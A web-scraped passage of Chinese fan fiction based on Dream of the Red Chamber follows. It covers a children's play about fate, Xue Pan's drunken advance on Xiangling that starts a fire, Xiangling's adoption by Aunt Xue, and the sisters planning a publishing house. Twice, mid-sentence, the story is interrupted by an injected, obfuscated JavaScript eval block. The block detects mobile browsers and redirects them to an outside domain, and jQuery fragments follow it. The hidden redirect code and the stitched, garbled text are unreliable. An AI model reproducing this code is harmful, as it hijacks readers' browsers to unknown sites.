黛玉摇摇头,说道“这么多花瓣,咱们哪里用得完?不如找几个绢袋,将花瓣放入袋子,再埋到土里,到时也不过是化了,还可以滋养树木。怎么样呢?” 探春附和道“这好极了,我们现在便去吧!” 旁边早有准备好的花锄,绢袋,小扫帚,黛玉和探春拿了过来,又继续表演。 两个孩子正在埋花瓣,宝钗扮演的母亲便走了过来,问她们在做什么。 宝钗笑道“你们两个傻孩子,四处这么多的花瓣,你们哪里埋的过来呢?” 黛玉道“可这样随风飘落也太可怜了!”探春也附和, 宝钗又说“花瓣盛开时那么灿烂,那么美好,比起日月也毫不逊色,待时间到了,便掉落枯萎,这就是花瓣的命运。极致的浓烈后便是暗淡的凋零。” 探春道“这就是命运吗?” 黛玉哽咽道“命运难道如此无情吗?” 宝钗便宽慰她们,说道“草木都有命,人也有各自的命。只是草木无法抗争,而人却可以改变命运。” “那么草木的命运又有谁来替它们抗争呢?”黛玉问道。 宝钗便说“所谓已识乾坤大,犹怜草木青,你们帮助这些花草,这样很好。只是你们只能怜惜它们,却不能改变它们的结果。纵然可以帮助一部分,但普天之下如此多的花花草草,你们哪里能全部看得到呢?” 黛玉和探春听罢便是沉思。宝钗就将她们搂到怀里。 第一幕便结束了。 林如海与贾政看了,都是暗自沉思。王夫人和薛姨妈并没有看得太明白。 但凡了解黛玉的人,看过了这个故事,便知道其中小女孩的形象是结合了黛玉自身的性格。大部分创作者最开始总会在身边找题材,黛玉也是如此。 第二幕是拯救小羊的内容,她们竟然真的抱过来一只小羊。 “小羊,快和我走吧!一会儿他们要来抓你了!”黛玉想要抱起小羊,却抱不动,就想拽住它的脚,但小羊偏偏不走。 黛玉又想办法试了试,用绳子套住小羊的脖子,还拉不动。她又跑出去将妹妹叫了过来,姐妹俩一起使劲,却仍是没用。 “姐姐,怎么这只羊如此倔强,咱们两个人都拉不动它!”探春叹道。 黛玉正是着急,也束手无策,便道“怎么办呢?再拉不动它,它就要被吃了。”说罢,呜咽哭出声来。 “姑娘们你们 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贾政便说“黛玉和探春写的故事很有意趣。你们这个年纪有各种各样的纠结都是常事。我们本来还时常担心你们,今日看了这出戏,再也没有担心的了。” 林如海便笑“存周你又和孩子们站到一处了。” 贾政故意摇摇头,笑道“我只是看到了其中可贵的思考。”说罢,他又拍拍手鼓励孩子们。 林如海也同样笑着拍手。王夫人和薛姨妈虽没有太看懂,也有样学样,表示赞赏。 孩子们自然高兴得到了这样的反馈。便坐到了长辈跟前,说了些方才演戏时的感受。 表演过后,又按着芒种节的习俗,吃了一些点心,孩子们在园子里玩了一会儿。 “舅妈姨妈,咱们来簪花玩吧!”黛玉和探春每人捧了个小托盘,放着各样鲜花。 探春走到贾政和林如海面前,她拿起一朵黄白色的芍药,笑看父亲。 贾政很是配合,稍微歪了头,让探春将芍药花簪到了他鬓边,又笑看林如海。 “父亲簪这朵!”黛玉说着话手里拿着一大朵粉白色的牡丹花,就要往林如海耳畔别上。 林如海任由女儿为他簪花,笑道“牡丹雍容华贵,我当年考中进士时也簪了牡丹呢!” 贾政笑道“怨不得你是探花郎,不惑之年了,还是一表人材,风度翩翩!” 林如海笑了笑,微微叹了口气。 孩子们也都簪了各式的花朵,又要打扮王夫人和薛姨妈。 正挑选时,贾政已经拿了两朵鲜红的石榴花簪到了王夫人鬓边。 “舅舅,你太快了!我们还正在挑呢!”黛玉笑道。 探春看罢笑说“石榴花鲜红富贵,很衬母亲呢!” 王夫人略微红了脸,正要说话时,薛姨妈先插了一句“姐姐适合石榴花,那么我就簪一支蔷薇吧。” 薛姨妈说罢,又给宝钗簪花“你们快过来给她宝钗花,宝钗成日里打扮太素净了,今日难得有机会,必须好好打扮她!” 宝钗无法,自是笑着配合。 宝玉头上,腰间被黛玉探春簪了许多花,粉红蓝紫,各式各样,他还走来走去,做出一副显摆的模样来,故意要逗大家开心。 香菱正用花针将海棠花一朵朵穿到红绳上,袭人便随手拿了一朵粉白的海棠花别在香菱耳畔。 袭人又问“香菱,你说方才姑娘们演的那出戏是什么意思呢?” 香菱笑了笑,又摇摇头,想了一会儿才说“也许是说命吧?” 袭人点点头,说道“我也没有看明白,也许你说得正是她们想说的呢?”说罢,自己也拿起花针,与香菱一起穿花。 “好闻吗?”香菱将穿好的海棠花环拿到袭人面前给她闻。 袭人凑近闻了闻,刚要说话时却看到香菱额头渗出了汗,便从袖袋中拿出手帕为香菱擦了汗。 “姐姐还没说好不好闻呢?”香菱将花环戴到袭人颈间,又认真欣赏了一下,还满意地点点头。 “奇怪,为什么这种海棠花会有香味呢?”袭人疑惑道。 “这是西府海棠,同别的海棠不太一样。”香菱解释道。 “好闻。”袭人摸了摸颈间的海棠花,视线落在了香菱被太阳晒得微红的脸颊。 46.红消香断有谁怜 “怎么醒得这么早?”贾政迷糊醒来,看到王夫人静静坐在窗边凉榻上,就问道。 此时窗外还是漆黑一片。 王夫人摇摇头,柔声道“我睡不着了,老爷再睡会儿吧。” 贾政此时不很清醒,却掀开被子下了床,也没说话,牵着夫人的手,扶着她躺下了。 贾政侧着身子看王夫人,轻轻抚摸夫人脸颊。 又见夫人仍神情苦闷,便问道“总之我也睡不着了,咱们躺着聊聊天好不好呢?” 说罢,贾政又拈起夫人鬓边一缕头发绕着圈玩, 王夫人也侧过身子面对着贾政,忍不住叹了口气。 “是不是做梦了?”贾政问道。 王夫人点点头,说道“我梦到珠儿和元春了···”又顿了顿,看着贾政。 贾政叹口气道“咱们离京也一年多了,夫人想家了。” “也不知府里有没有出事?老太太身体怎么样了?”王夫人低声道。 贾政将夫人一只手放在自己胸口,轻轻摩挲着,又道“我派几个人护送夫人回京去吧,带着孩子们一起。” 王夫人却摇摇头,说道“老爷一人在外,我也不放心的。” 贾政笑了,又道“我又不是小孩子,你不用为我操心。” 王夫人直直看着贾政脸庞,轻轻叹了口气,又道“老爷来扬州做这个官,总也不安稳。成日里遇到的案子又很凶险,偏老爷又总冒险,我若再不时刻叮嘱,只怕老爷就只顾得上公务,再也记不起家眷了。” “夫人说的在理,你却不知我也早想告老了呢?只是又不敢真的不做官,贾府里外除了我,还有一个指靠得上的男人吗?”贾政故意如此说道。 王夫人笑了笑,却说“老爷真也如此托大吗?” 贾政严肃道“夫人不觉得我很能干吗?” 王夫人点头笑道“再也没有比老爷能干的人了。” 贾政很是满意地点点头,将夫人轻轻揽着,不住地摩挲她脊背,突然又叹了口气。 “以后不做官了,咱们全家回到金陵,或是扬州,平平安安过日子。到时候孩子们都陪在咱们身边,将元春也接出来,孩子们也都在家里,这样好不好呢?”贾政说道。 “老爷也和宝玉一样,开始说胡话了,姑娘们长大了哪有不嫁人的道理呢?”王夫人笑道,她只以为贾政在开玩笑。 贾政松开抱着王夫人的手,直视她眼睛,正色道“女孩儿们嫁了人,又能有什么好结果呢?我是万万舍不得将她们嫁出去的。待她们长大了,嫁人与否,我只想让她们自愿。” 顿了顿,看王夫人神色惊讶,就又抱着她,一遍遍从脖颈到腰间摩挲着。 贾政又凑到夫人耳畔说“孩子们都有自己的想法,或是想做一番事业,或是想出去游历,总归都是她们的心意。我想,咱们还是让她们自自在在,全凭心意做事吧。” 王夫人叹了口气,说道“我又何尝不心疼她们呢?只是老爷所说的,纵使我不阻拦,还有老太太呢,还有世人呢?悠悠众口,又待如何?” 世道如此,贾政也并无特别好的想法,便说道“总之咱们做父母的是要永远支持孩子们的。” 王夫人沉默许久,轻轻点了头。贾政便故意用头发在夫人颈畔蹭了蹭。 “痒”王夫人笑道。 “我发现夫人很像一个人。”贾政突然道。 “像谁呢?”王夫人问。 贾政沉吟半天,才开口说道“像观音菩萨” “老爷糊涂了,又找出这种话逗我。”王夫人轻笑。 贾政轻轻摇摇头,靠着夫人肩膀,柔声说“你对孩子们一视同仁的慈爱,对我也很体贴,对老太太也细致入微,各家亲戚的小辈们你也总是不忘关怀。如此平等的博爱,怎么不算是咱们家的观音菩萨呢?” “老爷何苦说这些话来哄我呢,难道我没有一点自知之明吗?”王夫人只觉得贾政把自己夸的太过了。 贾政又摇摇头,笑道“那么我只说你是我的观音菩萨,这总不算夸大了吧?” “也不知老爷从哪里学来这些话,越发像宝玉说的浑话了。”王夫人再也不好意思看贾政眼睛,错开他眼神,低声说道。 贾政就拍拍夫人脊背,仍搂着她,轻声说“再睡会儿吧,天还没有大亮呢。” 自从薛家来了扬州,薛蟠就没有一刻轻松的。 不是被母亲敲打,就是要被威严的姨夫教训,连妹妹宝钗都常要劝诫他。薛蟠本就是个纨绔子弟,只爱吃喝玩乐,从不在乎其他的。 只是他却也有一点对母亲的孝心和对亲妹妹的关心,因此被时刻拘束着,他也的确收了一点玩心,学到了一些生意往来的事理。 薛姨妈见儿子的确有了长进,照看薛蟠的管事们也狠夸了几句。薛姨妈又想到过年都没让儿子在跟前陪伴,心里对独子的疼爱便压倒了表面的克制,吩咐了管事,将薛蟠接回家里好好住了几日。 又是为儿子裁衣服,准备各样家常吃食,又是吩咐丫鬟们细心伺候。薛蟠如此享受几日,从前那种骄奢淫逸的性子不免又冒头了。 那日薛蟠在外面与旧友们喝了酒,那些人又邀他去乐坊。 薛蟠本来想到出门前母亲叮嘱他天黑就回来,可是酒意上头,哪里顾得上许多,就跟着去了乐坊。自然又是吃酒听曲,直玩得四更才回了家。 回到家里,便是香菱贴身伺候他。当日薛蟠一眼看中香菱,愿意出高价买下她,不惜让仆人将冯渊打个半死,正是因为太喜欢香菱温柔安静的品貌。 现在他因为醉酒,此时仍不足兴,拉着香菱的手就想将她往床上带,口中不住地说一些浑话。 香菱因为成日里薛姨妈总教导她要安守本分,自己心里也就很抗拒薛蟠这样待她。 纵使薛蟠拉拉扯扯说着甜言蜜语,香菱仍很不情愿,二人推搡间,撞倒了烛台,榻上放着的靠枕与夏日的窗纱很快就被点燃了。 薛蟠看着火光,仍是呆呆的。香菱看到着火了,又惊又怕,就要拉着薛蟠往外跑。 香菱一边喊着“着火了”,一边使劲拽薛蟠,可他像是定住了一样,就是不动。 眼看着火势蔓延到薛蟠身侧,香菱无奈,狠狠掐了薛蟠一把,这才将他惊醒,跌跌撞撞出了门,嘴里不住喊着“着火了,快来人啊!” 香菱将薛蟠推了出去,待自己也要往外跑时,不小心被火焰燎到了头发,裙角也沾到了火星。 夏日衣物都很轻薄,沾上一点火星,就猛地窜了上来。香菱来不及细想,只是往门外跑。 此时守夜的丫鬟婆子也都被薛蟠叫了来,他们看到香菱衣服被烧着了,忙忙地朝她泼了一大盆冷水,这才将香菱救了下来。 薛姨妈和宝钗刚来,就看到香菱浑身湿透,狼狈地蹲在地上,低声哭泣着。 幸而下人们救火及时,只有薛蟠住的这间屋子被烧了大半,其他的倒没有影响。 宝钗忙蹲下身子将香菱搂到怀里,柔声安慰着,不停说着“香菱不要哭了,没事了···” 薛姨妈看到人都好好的,也放了心。 此时薛蟠酒早醒了大半,见自己醉酒导致失火,心里也后怕,就瑟瑟站在旁边,不敢说话。 薛姨妈一看儿子的神情,心里也猜到了一些,便厉声道“还以为你一年多来有长进了!如今仍是这个样子!你不仅要害了自己,还想将我们都害死,你才满意吗?” 薛蟠小声辩解“只是失手打翻了烛台,并不是故意的···” 薛姨妈看一眼香菱,又闻到了薛蟠浑身的酒气,知道事情并非薛蟠说的这么简单,便也不继续问他,骂道“还不滚去隔壁院子睡觉?等明日我再细细问你!” 薛蟠忙忙要走,却迎头碰到了赶过来的贾政与王夫人,便只是随口行了礼,快步离开了。 “妹妹,人没事吧?”王夫人见火救了下来,也没那么担心,就上来问道。她揽着薛姨妈肩膀,不住安抚。 薛姨妈叹口气,无奈叹道“幸好人都没事,还不是蟠儿闯的祸!”王夫人闻言也就继续安慰着。 贾政见宝钗蹲在地上,香菱靠在宝钗怀里哭泣。 贾政也半蹲下来,问道“香菱丫头吓着了吗?” 香菱没说话,想起来行礼,被宝钗按住了肩膀。 贾政便柔声道“宝钗,扶着香菱去睡吧,她受了惊吓,心里正难过,你也不要问她具体的事,好好安慰,先让她睡下,明日再说吧。” 宝钗听了,便与丫鬟一同扶着香菱去了自己屋子。 贾政看薛姨妈仍与王夫人絮絮说着话,也知道薛姨妈心里难过,便说道“夫人,你今日陪妹妹一起睡吧,你们姐妹俩好好说说话。” 次日一早,薛姨妈就在正厅等着薛蟠。王夫人与贾政在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015670|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪着。 “等蟠儿来了,你也不要生那么大的气。”王夫人宽慰道。 不一会儿薛蟠过来了,宝钗与香菱也来了。薛姨妈挥挥手,让旁边的丫鬟们都退下了。她又示意宝钗和香菱坐下。 “说吧,昨晚做了什么好事?”薛姨妈厉声发问,也不让薛蟠坐下。 薛蟠心里有些不满,他觉得母亲何必为了一个丫鬟而如此对待亲儿子呢? 便不悦道“母亲为何只问我?昨晚都是香菱闯的祸,是她推到了烛台。”只是毕竟没有底气,声音很低。 “你看看这里哪一个人信你的鬼话?”薛姨妈哪里不清楚儿子是个什么性子,此时怒火攻心,只想狠狠教训他一顿。 “是不是你要欺负香菱丫头,她不愿意,你们推搡的时候弄倒了烛台?”薛姨妈所说正是昨晚真相,可见她对自己儿子很是了解,今日怒火也不是无故而来的。 “她既然是我的丫头,难道不应当伺候我吗?为何故作清高,扭扭捏捏的!”薛蟠的纨绔脾气越发上来了,便反问道。 薛姨妈再也忍不住,落了眼泪,无奈道“你们看看,他这是说的什么话?哪里有一点贵族子弟的样子?浑像是个泼皮无赖!” 王夫人忙着安慰妹妹,便道“蟠儿你怎么这样说话,看把你母亲气的,还不过来道歉吗?” 宝钗有意想说两句,只是长辈都在,自己也不好插嘴,就搂着香菱,让她不要害怕。 可是香菱看到薛姨妈因为自己,而与亲子闹成这样,心里过意不去,哪里能坐的住呢?便要起来,将罪过揽到自己身上。 “太太莫气,这事与少爷无关,都是我的过错,是我没有摆正自己的位置,惹得少爷生气了。”香菱低声道,也站了起来。 薛姨妈叹道,“香菱丫头,我并没有怪你,况且我也知道你不是那样的孩子···” 贾政示意王夫人安慰薛姨妈,自己说了话。 贾政看了眼薛蟠,猛地一拍桌子,怒道“昨晚发生了什么,你给我详细说来,要是有一点慌话,自有我来收拾你!连你母亲也管不住我!”贾政的话半真半假,但却彻底吓到了薛蟠。 那种身居高位不怒自威的气势,在薛家的长辈中是看不到的。因此薛蟠很害怕自己这位亲姨夫。 薛蟠犹豫片刻,又瞅了一眼贾政,忍不住咽了口唾沫,才说道: “昨晚外甥吃多了酒,回了屋子,看到香菱伺候我,我便想要,想要···” 说到这,又看了一眼贾政,见他更是气愤,便闭上眼睛,一口气说完了“香菱不从,我们两个拉拉扯扯的,也不知道谁打翻了烛台,火蹭的窜了上来,我当时愣住了,还是香菱将我推了出去,我才没事的。” 说罢,又横了心,干脆道“我对不起香菱,不该欺负她,昨晚都是我的错,姨夫与母亲干脆惩罚我吧,也不要再冤枉人家小姑娘了。” 薛蟠说完,便跪在了地上,重重磕了三个头。 贾政听罢,相信了薛蟠所说的事情。只是他不敢彻底相信薛蟠道歉的举动是出自真心,还是假意,也不想理他。 贾政自己也不好拿这种事问香菱,便眼神示意王夫人。 王夫人会意,拉着香菱的手,柔声道“香菱别害怕,你有什么就直接告诉我们。刚才薛蟠说的可都是实情吗?” 香菱本不敢轻易点头,只是宝钗在旁边一直握着她的手,小声鼓励她。 香菱犹豫一会儿,便轻轻点了点头。王夫人看她神情可怜,也很疼惜,就摸摸她的头。安慰道“别怕,我们为你做主。” 薛姨妈也缓了过来,又道“谁不是爹生娘养的呢?香菱丫头命苦,自小被人拐走了,也不记得自己的亲生父母在何处,不然我真想将你好好送回自己家去,也免得这么乖巧的孩子平白受了欺负···” 贾政听罢,也很是叹了口气。他自从见到香菱,就派人去查过姑苏葫芦庙甄家。 只是甄家失火之后,香菱父亲甄士隐与妻子投奔了岳丈家去。后来甄士隐失踪,其妻封氏也去世了。 贾政知道这消息后也不好告诉香菱,让她平添痛苦。倒不如暂时隐瞒起来,若日后能见到甄士隐,再告诉香菱,父母相见也是好事。 却没想到会有昨晚的事情发生,这真是贾政的疏忽了。 贾政走到香菱身旁,柔声道“香菱丫头,我知道你的身世···” 47.此时情绪此时天 众人听了贾政的话,都很惊讶。 宝钗便问“姨夫如何得知呢?” 贾政回道“前些日子,衙门有事,我带人去了一趟姑苏。可巧那里一个下属正是香菱家从前邻居。我与他先谈了几句当地风貌,他所说的邻家姑娘,却很像香菱。 我便留心细问了,倒有七成把握,只是不敢确定。就想着先私下里打听打听,只是如今还没有完全清楚。” 香菱听了一半,双眼已满含泪水,哽咽道“姨老爷知道我父母亲还在吗?” 宝钗留心贾政神情,心里便有猜测,宽慰道“香菱不要着急,听姨夫慢慢说。” 贾政又道“香菱原名甄英莲,是姑苏人士。你父母亲老来得女,对你也很是宠爱。只可惜一年元宵节你出去玩,带你的小厮没有留心,害得你走失了。 后来附近的寺庙着了火,你们家也被烧了。你父母回到你外祖家,再后来你父亲云游四方,你母亲也去世了。”贾政尽量一带而过,不好讲太多悲惨的部分。 只是听了这些,香菱已然泣不成声。宝钗便一直搂着香菱安慰。 “香菱不要难过了,今日好不容易弄清楚了你的身世,既从你外祖家入手,慢慢也就能找到其他亲戚了。”王夫人也安慰道。 宝钗又道“母亲,香菱家原也是殷实人家,只是受了劫难,害得她如今孤单单的···”宝钗顿了顿,环视了一圈长辈,思考接下来怎么说。 贾政猜到了宝钗心意,便笑说“不如妹妹认了香菱做干女儿吧,日后多个女儿陪伴,香菱也有了亲人,岂不两全其美?” 薛姨妈听罢,也细想了想。 本来香菱是薛蟠从别人那里抢来的,自从到了薛家,薛姨妈也很喜欢香菱温柔安分的品格,心中未尝没有让香菱做薛蟠房里人的意思。 只是成日相处下来,又舍不得自己的儿子祸害了香菱这样好的姑娘,如今认做干女儿,也是一桩好事。 便笑说“香菱来这边。”香菱便乖巧过来了,脸上仍有泪痕。 薛姨妈亲切地握住香菱两手,笑问“你可愿意认我这个干娘?” 香菱轻声道“是我不配做太太的女儿呢···” 宝钗上来扶着香菱,笑道“妹妹快行了礼,给母亲奉茶吧!”香菱也就照做了。 香菱向薛姨妈磕了头,又奉了茶,薛姨妈抿了一口便扶起香菱,说道“好女儿,快起来吧!”就将香菱揽在怀里,不住地抚摸香菱脸颊,满是怜爱。 “母亲!”香菱再也忍不住,在薛姨妈怀里哭了出来。薛姨妈和宝钗忙着安慰香菱。 薛蟠见事情似乎了结了,便放了心,想要溜走,却被贾政叫住了。 贾政严肃道“你且小心着,再不端正行事,少不了一顿打!” 薛蟠唯唯诺诺应了声,便下去了。 经此一事,薛蟠更觉得应当收敛脾气,不该再犯浑。他从没有见过母亲和妹妹那样的怒容,更又害怕姨夫教训,免不得接下来日日谨慎,不敢放肆。 过了几日,贾政与薛姨妈商议后,仍是派人时刻盯着薛蟠,让他继续随铺子里的管事们南来北往做生意,只做小伙计们的活儿,又累又磨人。看如此日日磨练着,薛蟠能否彻底改掉荒唐性子。 薛姨妈认香菱做干女儿,又让众人都称呼香菱原来的名姓。姐妹们知道了也为香菱高兴,都唤她英莲妹妹。 又到了雨季,贾政仍像去年那样需要四处巡查,不能日日回家。只是今年雨水较去年少得多,王夫人便没那么担心,忙着为贾政打点行李,也少不了关切叮嘱。 因近日并无雨水,贾政却提前就要走,王夫人准备的东西就兼有晴雨天所用的。 贾政想要帮忙,却没有什么可帮忙的。就与王夫人一处,她叮嘱些什么,自己便附和着。 “这种靴子最是防水防滑的,我为老爷准备了五双,都带着吧。”王夫人说道。贾政笑着点点头。旁边的锦屏就将靴子都包了起来。 王夫人见自己走到哪里,贾政都要紧跟着,便有些好笑,问道“老爷怕我丢了不成,跟得这么紧做什么?” 贾政笑了笑,也不顾旁边还有锦屏与小丫鬟,直言道“想多看你两眼。” 王夫人轻笑一声,很是无奈地摇摇头,轻声道“怎么说得好像一去不回了呢···”说罢自己却觉得不妥,忙捂住嘴巴,抬头看贾政。 贾政并没觉得什么,笑着牵起夫人的手,将她扶到榻上半躺着,说道“夫人躺着歇会儿”。 自己却坐到了榻旁边的矮凳上。王夫人便觉这样不妥,哪有老爷座位低于自己的道理,忙要起来。 贾政却说“夫人若是起来,我就坐到地上,赖着不起来,你也拉不动我。” 王夫人无奈,只好躺下,又叹道“也不知老爷从哪里学到这些无赖招数的,偏我总是无可奈何。” 贾政便很得意,笑道“并不是我的招数如何精巧,只是在你面前,就显得好用了。” 王夫人躺着,微眯了眼睛,也确实有些疲乏。 “炎天属热的,合该这样躺着乘凉。”贾政轻声道,又示意丫鬟们都退下。 贾政就为王夫人轻轻揉捏小腿,一会儿又扇扇子。待夫人睡得熟了,却把贾政忙了个满头大汗。 这日下雨,也不用去学堂,宝钗与众姐妹聚到一处,想商议件大事。 宝钗先看了一眼黛玉,见黛玉坐在探春和英莲中间,正低声说话,便问道“颦儿说什么呢?” 黛玉摇摇头,但笑不语。 宝钗也不在意,就说道“咱们姐妹几个相处了这么长时间,感情都很深厚···” “宝姐姐这口气真像姨妈呢!”探春笑道。黛玉也搂着探春,笑看宝钗。 宝钗笑了笑,也不搭话,正色道“我想与姐妹们一起做一件事。” “宝姐姐想做什么呢?可是我并不懂生意上的事情。”宝玉却道。 “就说你不中用了!”黛玉戳了戳宝玉脸颊,笑道。宝玉也不恼,笑着等宝钗下文。 宝钗想了想,又道“虽说姐妹们都有各自家人,这些事情并不需要我多关心。但我想到咱们也渐渐长大了,多了解一些这些事情也好,就与姨夫姨妈和母亲商议过了,咱们姐妹们一起做桩生意。” 顿了顿,看姐妹们神情认真,宝钗就继续道“姐妹们总是要学习管家的,如今做这个倒也合乎常理。” 黛玉便问“宝姐姐说来说去,总不切入重点!” 探春道“宝姐姐喜欢卖关子” 英莲很是乖巧,并不插话。 宝玉急道“宝姐姐快说吧!” 宝钗抿唇笑了一下,便道“我想做一个书坊,专门刊印姐妹们的文章作品。” 众人听了,都有些惊讶。在当时,闺阁女儿的笔墨不能随意传到外面,更何况是刊发文章。 探春便犹豫道“宝姐姐,这样怕是不合礼法。”探春也想不到最守规矩的宝钗会说出这样的事情。 宝钗摇头笑了笑。探春如今的反应倒是与她当时听到贾政说话时的反应一样。 宝钗便道“这其实是姨夫与我闲谈时说的。” “父亲果然这样说吗?”宝玉问道。 宝钗便点点头。 探春上前揽着宝钗肩膀,扶着她坐了下来,笑道“宝姐姐详细说说好不好呢?” 宝钗点了点头,解释道“本意是做一个书坊,善写文章的人尽可以将自己写的文章收录其中,另外广泛征集一些才子才女们的文章,每月共发两刊。或是觉得文章写得不好的人,就与我一同处理书坊的日常事务。” 黛玉又笑问“分子怎么算呢?” 宝钗戳了戳黛玉脸颊,笑道“这就和我提起钱了吗?” 黛玉笑道“我总是关心这个的,哪有光为你写文章却没有报酬的道理呢?” 探春催促道“林姐姐说得在理,宝姐姐快快详细说来!” 宝钗便说“公平起见,我们姐妹五个各占两成,如何呢?” 宝玉说道“这公平极了!” 黛玉却说“只是我若没钱给你呢?” 宝钗笑了笑,她就知道黛玉是在故意捉弄她的,便说“没钱凑分子的人,日后就要被我抓去做小工了,去书房刻字,或是装订书册,如何呢?” 探春拍手笑道“听起来也很有趣!宝姐姐一定算我一个!” 英莲也笑道“宝姐姐,我也想参与呢!” 宝钗便左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020398|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搂着探春和英莲,说道“你们两个还需要与我一起讨论这刊物要如何做呢?分哪些板块,我们召集的文章又作何要求,事情多得很呢!” 黛玉却哼了一声,说道“宝姐姐看不上我,想来也不需要我参与了。”说罢,就要起身离开。 探春忙拉住黛玉手臂,在她耳畔说了两句话,姐妹俩又偷笑着看宝钗。 宝钗便说“哪里能少得了你这位大诗人呢!”说罢,倒了杯茶,捧到黛玉面前,说道“林姑娘喝了我这杯茶,便答应了我们吧!” 黛玉笑笑,清咳了一声,又严肃道“容我考虑考虑吧。” 宝玉在旁说道“林妹妹定要考虑清楚了,万万不能轻易答应下来!”宝玉说罢,再也忍不住,自己笑了起来,滚在了榻上。 黛玉和探春也装不住了,姐妹俩搂在一起,笑个不停。宝钗无奈摇摇头,又与英莲解释了一下。 笑闹过后,黛玉便说“宝姐姐,说真的呢,每人凑分子的话,要算多少钱呢?” 宝钗见黛玉神情认真,便说“大约每人两千银子吧。” 黛玉叹了口气“我哪来这么多钱,又不想找父亲要,被父亲知道了,他肯定不同意的。” 宝玉便安慰道“我那里也许有,只是我不知道有多少,待我盘点清楚了拿来给妹妹可好?” 探春便笑“我也没这许多钱,二哥哥却不帮我!”说罢,还哼了一声。 宝玉笑道“既然咱们都没有钱,不如去找母亲去要!”。 探春撇了下嘴,说道“母亲哪里会同意咱们胡闹呢,还不如去找父亲?” 探春说罢自己又摇摇头“只是父亲并不在家呢,待他回来也不知道要多久。” 黛玉看到宝钗只是笑着坐在旁边,就问道“宝姐姐既知道我们没钱,何故如此一说,想必姨夫又和你说过什么了吧!”黛玉说罢,示意探春。 两姐妹就一左一右摇晃宝钗手臂,撒娇道“宝姐姐还知道什么,都告诉我们吧!” 宝钗再忍不住,便说道“姨夫已经将你们的分子钱都给过我了!” “果真如此吗?”探春问道。 宝钗点点头,又走到英莲旁边,搂着她肩膀,说道“连你也算在内呢!”英莲听了,自是高兴。 “如此说来,咱们就要拥有一个自己的书坊了吗?”探春高兴的连连拍手,又搂着黛玉一直晃她。 宝玉也是拍手叫好,又道“咱们该给书坊起个名字!” 探春忙道“我有了一个,就叫蕉叶书屋!” 宝钗笑看黛玉,黛玉道“文苑如何?” 宝玉想了想,道“浣花草堂如何?”探春惹不住戳了下宝玉脑袋,笑道“浣花草堂是杜甫的书房,二哥哥怎么好意思呢?” 宝玉吐了吐舌头,笑道“我一时急切,忘了。” 英莲轻声道“知古书坊如何呢?” 宝钗思考片刻,便说“我觉得文苑还像是个书坊的名字,其他更像是家里书房院落的名字。” 探春又道“不如加两个字,叫做文苑笔谈呢?好像更符合咱们文刊的特点呢!” 黛玉也点点头,笑道“这样更合适了,单独两个字有些孤零零的,也不容易被其他人理解。咱们刚创刊,最好是要通俗一些。” 宝钗点点头,又道“你们觉得呢?” 其余人都很赞同,再无意见,如此就确定了刊物名字。 探春突然又说“只是咱们只顾得上眼前几个人了,还有迎春姐姐,湘云姐姐和惜春妹妹呢?若回了京,咱们的书刊就不让她们也参与吗?湘云最是个喜欢写诗写文的人了!” 黛玉笑道“待回了京城,便让她们也凑了分子交给宝姐姐,不就入了咱们文苑了吗?”黛玉说罢,就走到宝钗身旁,笑着打量她。 宝钗自然知道黛玉含义,便说道“迎春惜春与湘云那份都算在我身上,这总可以了吧,林姑娘!” 黛玉满意地不得了,朝探春使了个眼色。姐妹几个就凑到一处,又笑笑闹闹了一会儿。 名字定下了,又要商议刊物内容,又要商议如何广泛征文。 虽然其中种种琐事,但姐妹们却乐在其中。都认为这将是众人的心血集合,必定要尽百分的努力。 48.饱食安眠消日月 孩子们这些日子很是忙碌。又要去书院读书,又要找时间去教丝织厂的小孩儿们识字,又要忙着做自己的刊物。真真是分身乏术,竟然连起诗社的时间都没有了。 恰逢连日阴雨,不用去书院,也不方便去丝织厂,只是每日待在家里琢磨书刊的事情。 “歇会儿吧!才子才女们!”薛姨妈一进屋,看着孩子们仍凑在一起或说或写,就笑着说道。 黛玉和探春起身挽着王夫人与薛姨妈坐了下来。 “才和你们姨妈说,怎么这些日子总也见不到你们的影子,原来是躲在一处写文章呢!”王夫人笑道。 袭人倒了茶端给王夫人和薛姨妈。 “外面又下着雨,你们不如也歇一天,咱们娘儿们来行酒令如何?”薛姨妈笑道。 宝钗便说“是该如此,我只怕她们几个再商议下去,个个都要糊涂了!梦里都是这些文章诗词呢!” 黛玉笑道“宝姐姐也犯不上打趣我们,你不也是忙的脚不沾地吗,却来说我们了!” 黛玉哼了一声,歪到了王夫人怀里。 探春看了一眼宝钗,眼珠转了两圈,就窝到薛姨妈怀里了,还说道“英莲快过来,咱们一处窝着。”英莲听了,轻轻笑了笑也与探春凑到一处去了。 宝钗也不恼,笑看她们几个撒娇,自己却倒了杯茶喝。 “宝姐姐,你看她们,总是撒娇呢!”宝玉走到宝钗身边,如此说道。 宝钗笑着摇摇头,轻声道“正是离不开母亲的年龄呢!” 宝玉却打趣道“宝姐姐又这样老气横秋地说话。” 宝钗笑着摇了摇头,与宝玉一同坐在桌前喝茶。 “舅妈怀里暖暖的”黛玉轻声道。 王夫人担心问道“是不是外面下雨,你从前的病又犯了,感到冷了呢?要不要先吃两丸药预备着?”黛玉笑着摇摇头,扳着舅妈脖颈,说一些家常话。 